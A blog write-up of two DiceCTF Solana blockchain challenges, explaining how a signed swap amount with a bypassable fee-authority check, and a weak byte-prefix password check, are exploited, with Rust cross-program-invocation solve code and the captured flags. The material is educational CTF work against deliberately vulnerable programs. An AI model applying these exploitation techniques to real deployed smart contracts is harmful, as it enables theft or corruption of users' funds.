Five months ago, I started studying and having interest in blockchain.
In RealWorld CTF, Idek CTF, I solved some blockchain challenges.
I didn't expect blockchain challenges because there was no blockchain category in DiceCTF.
However, when I looked at the names of challs, I realized there were blockchain challs!!.
After a lot of trial and error, I solved both of the blockchain challs!
I will write a write-up about how I approached and solved problems from a beginner's perspective in rust and solana.
Environment
https://github.com/otter-sec/sol-ctf-framework
Recently encountered challs used this framework.
When you look at the chall files, you can see that there are framework and framework-solve folders.
/framework/src/main.rs
/framework/chall/programs/chall/src/lib.rs
/framework-solve/src/main.rs
/framework-solve/chall/programs/chall/src/lib.rs
In most cases, examining these four files will be sufficient to understand the given challenge.
- How do I connect the remote server?
In /framework-solve/src/main.rs
let mut stream = TcpStream::connect("127.0.0.1:8080")?;
However, DiceCTF provided SSL connection.
https://klodd.tjcsec.club/how-to/#tcp-challenges
For example, socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337
- How I test in local environment?
/framework/Dockerfile
/run.sh
/setup.sh
Building takes quite a bit of time.
Baby-Solana
Analysis
When looking at the /framework/src/main.rs without paying attention to the code necessary for setting up the environment
The variable 'x' is initialized to 1_000_000 and 'y' to 1_000_001
let ix = chall::instruction::InitVirtualBalance {
x: 1_000_000,
y: 1_000_001,
};
And, user's inputs are executed.
writeln!(socket, "user: {}", user)?;
let solve_ix = chall.read_instruction(solve_id)?;
println!("{:?}", solve_ix);
println!("start");
chall
.run_ixs_full(&[solve_ix], &[&user_keypair], &user_keypair.pubkey())
.await?;
println!("end");
Finally, if x == 0 and y == 0, then print flag!
let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;
if let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {
let state = bytemuck::from_bytes::<chall::State>(
&acct.data[8..std::mem::size_of::<chall::State>() + 8],
);
if state.x == 0 && state.y == 0 {
writeln!(socket, "congrats!")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
} else {
writeln!(socket, "flag not found, please contact admin")?;
}
}
}
To find operations with variable x and y, I looked at /framework/chall/programs/chall/src/lib.rs.
pub fn swap(ctx: Context<Swap>, amt: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.x += amt;
state.y += amt;
state.x += state.fee * state.x / 100;
state.y += state.fee * state.y / 100;
Ok(())
}
It seems we can set the state to 0 by putting a negative value into amt, since amt is declared as NUMBER(i64) type.
1. swap(-1_000_000) => x=0, y=1
2. set state.fee = -100
3. swap(0) => x=0, y=0
The ability to modify the value of state.fee can be solution.
/framework/chall/programs/chall/src/lib.rs
pub fn set_fee(ctx: Context<AuthFee>, fee: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.fee = fee;
Ok(())
}
...
#[derive(Accounts)]
pub struct AuthFee<'info> {
#[account(mut,
constraint = (state.load().unwrap().owner.is_some() &&
state.load().unwrap().owner.unwrap() == payer.key()
) ||
(state.load().unwrap().fee_manager.is_some() && (
state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp &&
(
state.load().unwrap().fee_manager.unwrap().authority.is_none() ||
state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
)
))
)]
pub state: AccountLoader<'info, State>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
In order to call set_fee(), we need to pass the constraint in struct AuthFee.
Our account can bypass second conditon.
(state.load().unwrap().fee_manager.is_some() && (
state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp &&
(
state.load().unwrap().fee_manager.unwrap().authority.is_none() ||
state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
)
))
Solution
Add the following code to /framework-solve/chall/programs/chall/src/lib.rs
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
let cpi_accounts = chall::cpi::accounts::Swap {
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::swap(cpi_ctx, -1_000_000)?;
let cpi_accounts5 = chall::cpi::accounts::AuthFee {
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let cpi_ctx5 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts5);
chall::cpi::set_fee(cpi_ctx5, -100)?;
let cpi_accounts6 = chall::cpi::accounts::Swap {
state: _ctx.accounts.state.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let cpi_ctx6 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts6);
chall::cpi::swap(cpi_ctx6, 0)?;
Ok(())
}
And get Intancer
e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337
Run run.sh
dice{z3r0_c0py_h3r0_c0py_cPDsolK8}
OtterWorld
Analysis
When looking at the /framework/src/main.rs without paying attention to the code necessary for setting up the environment
First, user's inputs are executed.
let solve_ix = chall.read_instruction(solve_id)?;
println!("{:?}", solve_ix);
println!("start");
chall
.run_ixs_full(
&[solve_ix],
&[&user_keypair],
&user_keypair.pubkey(),
)
.await?;
println!("end");
And, if the account exists, it will print the flag.
That means I should create my account.
let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;
if let Some(_) = chall.ctx.banks_client.get_account(flag).await? {
writeln!(socket, "congrats!")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
} else {
writeln!(socket, "flag not found, please contact admin")?;
}
}
/framework/chall/programs/chall/src/lib.rs
#[derive(Accounts)]
pub struct GetFlag<'info> {
#[account(
init,
seeds = [ FLAG_SEED ],
bump,
payer = payer,
space = 1000
)]
pub flag: Account<'info, Flag>,
#[account(
constraint = password.key().as_ref()[..4] == b"osec"[..]
)]
pub password: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
To create an account, a password is required that starts with b"osec".
Solution
Initially, I thought I had to find the private key that could generate a pubkey that satisfies the condition.
However, this is not a feasible solution when considering time complexity.
The next thought was the program ID.
/framework/chall/programs/chall/src/lib.rs
/framework-solve/chall/programs/chall/src/lib.rs
Look at the top of code
declare_id!("osecio1111111111111111111111111111111111111");
It is a pubkey of chall id.
Therefore, I thought that if I just passed the pubkey as the password, it would be over.
/framework-solve/chall/programs/chall/src/lib.rs
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
let cpi_accounts = chall::cpi::accounts::GetFlag {
flag: _ctx.accounts.state.to_account_info(),
password: _ctx.accounts.chall.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::get_flag(cpi_ctx)?;
Ok(())
}
But, it was wrong.
In fact, pubkey string is not byte string but output of base58 encoding.
So "osecio1111111111111111111111111111111111111"[:4] can not pass b"osec"
Finally, I thought that if I just input Pubkey I wanted and pass it as the password, it would be the end.
I learned how to generate a public key through a Google.
let key = Pubkey::new(&[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
// key = b"osec"
But I didn't know how to convert this Pubkey into an AccountInfo.
pub password: AccountInfo<'info>,
While I was pondering...
I found a similar case of ???? into an AccountInfo type conversion in /framework-solve/src/main.rs .
let mut ix_accounts = solve::accounts::GetFlag {
state,
payer: user,
token_program: spl_token::ID,
chall: chall_id,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
};
So I decided to experiment with it.
I added test which has type of AccountInfo to /framework-solve/chall/programs/chall/src/lib.rs
#[derive(Accounts)]
pub struct GetFlag<'info> {
#[account(mut)]
pub state: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub token_program: Program<'info, Token>,
pub rent: Sysvar<'info, Rent>,
pub chall: Program<'info, chall::program::Chall>,
#[account(mut)]
pub test: AccountInfo<'info>, // added
}
I created Pubkey and assign it.
/framework-solve/src/main.rs
let test = Pubkey::new(&[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
//added
let mut ix_accounts = solve::accounts::GetFlag {
state,
payer: user,
token_program: spl_token::ID,
chall: chall_id,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
test: test, // added
};
Add following code makeing my account to /framework-solve/chall/programs/chall/src/lib.rs
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
let cpi_accounts = chall::cpi::accounts::GetFlag {
flag: _ctx.accounts.state.to_account_info(),
password: _ctx.accounts.test.to_account_info(),
payer: _ctx.accounts.payer.to_account_info(),
system_program: _ctx.accounts.system_program.to_account_info(),
rent: _ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::get_flag(cpi_ctx)?;
Ok(())
}
And get Intancer
e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337
And run run.sh.
Surprisingly, I got the flag.
dice{0tt3r_w0r1d_8c01j3}
It is actually very simple once it was solved, but it was difficult because I didn't know Rust or Solana.
I think I need to study each chapter one by one.
https://solanacookbook.com/kr/core-concepts/accounts.html#facts
If you are looking for similar difficulty solana challs, I recommend baby blockchain 1,2,3 of IdekCTF 2023.
Thanks.
'writeups' 카테고리의 다른 글
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
---|---|
Idek CTF 2023 pwn - (baby blockchain 1,2,3) (0) | 2023.02.19 |
HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist) (0) | 2023.02.19 |
LA CTF 2023 - pwn(breakup, evmvm, sailor) (0) | 2023.02.13 |
RealWorldCTF 2023 - blockchain(realwrap) (0) | 2023.02.09 |